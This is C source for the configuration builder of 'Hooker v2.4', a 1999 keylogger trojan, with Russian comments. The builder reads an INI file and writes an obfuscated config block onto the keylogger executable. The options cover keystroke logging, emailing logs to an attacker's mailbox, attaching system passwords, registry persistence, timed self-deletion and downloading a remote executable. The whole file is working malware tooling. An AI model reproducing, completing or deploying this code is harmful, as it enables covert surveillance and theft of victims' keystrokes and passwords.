/********************************************************************/
/*                                                                  */
/*              Hooker v2.4, configuration module                   */
/*                         ACrazzi, 1999                            */
/*                                                                  */
/********************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>

#pragma pack( 1 )

struct _AttachedData {
	WORD signature;      //Сигнатура 0x3104
	UINT loglimit;       //Предельный размер лога в байтах
	UINT sendafter;      //Если лог больше этого, то он мылится
	UINT reg_descr_ofs;  //Смещение описания в реестре
	UINT reg_path_ofs;   //Смещение пути в реестре куда себя инсталять
	UINT exe_ofs;        //Смещение имени экзешника
	UINT dll_ofs;        //Смещение имени кейлог-dll
	UINT n_ss;           //Число субстрок для поиска
	UINT ss_ofs;         //Смещение этих субстрок в файле
	UINT logname_ofs;    //Смещение имени лога
	UINT host_ofs;       //Смещение имени мыльного сервака
	UINT mailfrom_ofs;   //Смещение вашего e-mail'a, серваку надо
	UINT mailto_ofs;     //Смещение имени ящика на который мылить
	UINT subj_ofs;       //Смещение сабжа мессаги
	UINT http_ofs;       //Смещение ареса удаленного .exe
	WORD port;           //Порт сендмэйла, обычно 25
	SYSTEMTIME send_i;   //Интервал между посылками сообщений
	SYSTEMTIME kill_i;   //Через сколько уничтожиться?
	WORD total_log:1;    //Постоянный кейлог?
	WORD encrypt_log:1;  //Шифровать лог?
	WORD send_mail:1;    //Посылать отчет по мылу?
	WORD syspass:1;      //Клеить к отчету системные пароли?
	WORD autokill:1;     //Килять себя?
	WORD fullname:1;     //Полное имя экзешника в реестре?
	WORD exepath:2;      //Куда? windows,windows\system,user-defined
	WORD ras:1;          //Юзать, Ras-функции для детекта i-net'a?
	WORD emp_log:1;      //Логить окна в которых ничего не нажато?
	WORD adv_log:1;      //ЛОгить все нажатия?
	UINT number;         //Идентификационный номер
} a_d;


#define GET_INT(var,name) \
	{\
		if (GetPrivateProfileInt(sec,(name),-1,ini) == -1) {\
			printf("Error: section main:%s is not found\n",(name));\
			return -1;\
		};\
		(var) = GetPrivateProfileInt(sec,(name),-1,ini);\
	}

#define GET_STR(var,name) \
	{\
		GetPrivateProfileString(sec,(name),"NULL",&dat[frame],0x200,ini);\
		if (!strcmp(&dat[frame],"NULL")) {\
			printf("Error: section main:%s is not found\n",(name));\
			return -1;\
		};\
		(var) = f_s + frame;\
		frame += GetPrivateProfileString(\
			sec,(name),"",&dat[frame],0x200,ini) + 1;\
	}


int main (int argc,char* argv[])
{
char ini[0x100], exe[0x100],*sec,buf1[0x100];
char dat[0x8000];
int i,j,k,frame,f_s;
SYSTEMTIME st;
FILE* h_f;
	printf("============================================\n"
	       "=    Hooker v2.4, configuration utility    =\n"
	       "=               ACrazzi, 1999              =\n"
	       "============================================\n");
	if (argc>3) {
		printf("Error: too many arguments\n");
		return -1;
	};
	if (argc<2) {
		printf("Usage: hkconf hooker.exe [ hkconf.ini ]\n");
		return -1;
	};
	strcpy(exe,argv[1]);
	if (argc == 3) strcpy(buf1,argv[2]); else strcpy(buf1,"hkconf.ini");
	GetCurrentDirectory(sizeof(ini),ini);
	strcat(ini,"\\");
	strcat(ini,buf1);
	//Файл ini существует?
	h_f = fopen(ini,"rb");
	if (!h_f) {
		printf("Error: cannot find file %s\n",ini);
		return -1;
	};
	fclose(h_f);
	//Открываем экзешник
	h_f = fopen(exe,"r+b");
	if (!h_f) {
		printf("Error: cannot open file %s\n",exe);
		return -1;
	};
	//его длина?
	fseek(h_f,0,SEEK_END);
	f_s = ftell(h_f);
//----------------------грузим дату из ini файла----------------------
	a_d.signature = 0x3104;
	sec = "main";
	//постоянный кейлог?
	GET_INT(a_d.total_log,"total");
	//Логить окна в которых ничего не нажато?
	GET_INT(a_d.emp_log,"full");
	//Логить все нажатия?
	GET_INT(a_d.adv_log,"adv");
	//шифровать лог?
	GET_INT(a_d.encrypt_log,"encrypt");
	//посылать отчет по мылу?
	GET_INT(a_d.send_mail,"mail");
	//Клеить к отчету системные пароли?
	GET_INT(a_d.syspass,"syspass");
	//Килять себя?
	GET_INT(a_d.autokill,"kill");
	//Полное имя экзешника в реестре?
	GET_INT(a_d.fullname,"fullname");
	//Куда инсталять?
	GET_INT(a_d.exepath,"exepath");
	//Юзать, Ras-функции для детекта i-net'a?
	GET_INT(a_d.ras,"ras");
	//предельный размер лога в байтах
	GET_INT(a_d.loglimit,"loglimit");
	//после этого размера лог мылится без всяких на то причин ;)
	GET_INT(a_d.sendafter,"sendafter");
	//Число субстрок для поиска
	GET_INT(a_d.n_ss,"nss");
	//Порт сендмэйла, обычно 25
	GET_INT(a_d.port,"port");
	//Грузим строки
	for (i=0,frame=0;(UINT)i<a_d.n_ss;i++) {
		sprintf(buf1,"s%2.2u",i);
		j = GetPrivateProfileString(
			"strings",     // points to section name 
			buf1,          // points to key name 
			"NULL",        // points to default string 
			&dat[frame],   // points to destination buffer  
			0x200,         // size of destination buffer 
			ini)           // points to initialization filename 
			+ 1; 
		if (!strcmp(&dat[frame],"NULL")) {
			printf("Error: section strings:s%2.2u is not found\n",i);
			return -1;
		};
		CharUpperBuff(&dat[frame],strlen(&dat[frame]));
		frame += j;
	};
	//Смещение субстрок в файле
	a_d.ss_ofs = f_s;
	//Описание в реестре
	GET_STR(a_d.reg_descr_ofs,"reg_desc");
	//куда себя инсталять?
	GET_STR(a_d.reg_path_ofs,"reg_path");
	//имя экзешника
	GET_STR(a_d.exe_ofs,"exename");
	//имя кейлог-dll
	GET_STR(a_d.dll_ofs,"dllname");
	//имя лога
	GET_STR(a_d.logname_ofs,"logname");
	//мыльный хост
	GET_STR(a_d.host_ofs,"host");
	//с этого адреса вам будет идти мыл
	GET_STR(a_d.mailfrom_ofs,"mailfrom");
	//ящик на который мылить
	GET_STR(a_d.mailto_ofs,"mailto");
	//сабж мессаги
	GET_STR(a_d.subj_ofs,"subj");
	//сетевой экзешник
	GET_STR(a_d.http_ofs,"http");
	//интервал между посылками сообщений
	sec = "send";
	memset(&a_d.send_i,0,sizeof(SYSTEMTIME));
	a_d.send_i.wSecond = GetPrivateProfileInt(sec,"second",0,ini);
	a_d.send_i.wMinute = GetPrivateProfileInt(sec,"minute",0,ini);
	a_d.send_i.wHour = GetPrivateProfileInt(sec,"hour",1,ini);
	a_d.send_i.wDay = GetPrivateProfileInt(sec,"day",1,ini);
	//через сколько уничтожиться?
	sec = "kill";
	memset(&a_d.kill_i,0,sizeof(SYSTEMTIME));
	a_d.kill_i.wSecond = GetPrivateProfileInt(sec,"second",0,ini);
	a_d.kill_i.wMinute = GetPrivateProfileInt(sec,"minute",0,ini);
	a_d.kill_i.wHour = GetPrivateProfileInt(sec,"hour",1,ini);
	a_d.kill_i.wDay = GetPrivateProfileInt(sec,"day",1,ini);
	//Идентификационный номер
	GetSystemTime(&st);
	a_d.number = st.wMilliseconds | 
		         1 |
				 (st.wSecond<<16) | 
				 (st.wHour<<24);
	memcpy(&dat[frame],&a_d,sizeof(_AttachedData));
	frame += sizeof(_AttachedData);
	//шифруем немного...
	k = dat[frame-1];
	for (i=frame-1;i>=0;i--) {
		j = dat[i - 1];
		dat[i - 1] -= k;
		dat[i - 1] ^= k;
		k = j;
	};
	//пишем в экзешник
	fseek(h_f,f_s,SEEK_SET);
	fwrite(dat,1,frame,h_f);
	fclose(h_f);
	printf("Data was loaded from %s\n"
	       "Executable is %s\n",
		   ini,exe);
	return 0;
};